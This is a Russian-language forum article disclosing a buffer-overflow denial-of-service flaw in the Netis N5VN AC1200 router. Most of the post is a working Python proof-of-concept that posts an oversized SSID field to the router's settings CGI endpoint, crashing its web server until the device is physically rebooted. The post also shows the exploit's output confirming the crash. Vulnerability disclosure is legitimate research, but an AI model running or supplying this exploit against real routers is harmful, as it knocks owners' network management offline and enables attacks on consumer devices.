Статья Netis N5VN AC1200 — DOS с переполнением буфера

Admin

Администратор

Netis N5VN AC1200 — DOS с переполнением буфера​


Привет, ребята

Обзор​

  • Существует уязвимость переполнения буфера в роутере Netis N5VN AC1200, которая может позволить злоумышленнику вывести из строя веб-сервер, работающий на роутере, отправив специально разработанный запрос
  • Чтобы вернуть http (веб-сервер), пользователь должен физически перезагрузить маршрут.

Доказательство концепции (используйте python)​

  • POST запрос на изменение ssid Wireless 2.4G ('ssid': 'QQ==' * 5000)
  • Успешно: ('Соединение прервано.', ConnectionResetError(10054, 'Существующее соединение было насильно закрыто удалённым хостом', Нет, 10054, Нет))
  • nmap 192.168.1.254 -p 80 80/tcp закрытый http
  • Версия: Netis N5VN AC1200 V1.0.1.1742
Python:
import requests

url = 'http://192.168.1.254/cgi-bin/skk_set.cgi'

# Authorization details are manipulated in the complete POST request (Based on your configuration)
headers = {
    'Authorization': 'Digest username="admin", realm="N5VN", nonce="FAGasd12d1WAgMiAwMDoxNQWQWQyMDI0"',
    'Accept': '*/*',
    'X-Requested-With': 'XMLHttpRequest',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.60 Safari/537.36',
    'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
    'Origin': 'http://192.168.1.254',
    'Referer': 'http://192.168.1.254/index.htm',
    'Accept-Encoding': 'gzip, deflate, br',
    'Accept-Language': 'en-US,en;q=0.9',
    'Connection': 'close'
}

data = {
    'wlanEnabled': '1',
    'wlanMacAddr': 'bc:e2:04:1g:ea:b5',
    'wlanMode': '0',
    'wlanBand': '11',
    'ssid': 'QQ==' * 5000, # This is 'A' repeated 5000 times
    'broadSSID': '1',
    'regDomain': '1',
    'channel': '0',
    'channelWidth': '0',
    'encrypt': '6',
    'wpaPskType': '3',
    'wpaPskFormat': '0',
    'wpaPsk': 'MqwdwasdsadDkqqw2321DQ==',
    'rp_encrypt': '0',
    'wl_base_set': 'save',
    'wl_idx': '6',
    'wscConfigured': '1',
    'app': 'base',
    'wl_link': '0'
}

try:
    response = requests.post(url, headers=headers, data=data)
    print(response.text)
except Exception as e:
    print(f"Successfully: {e}")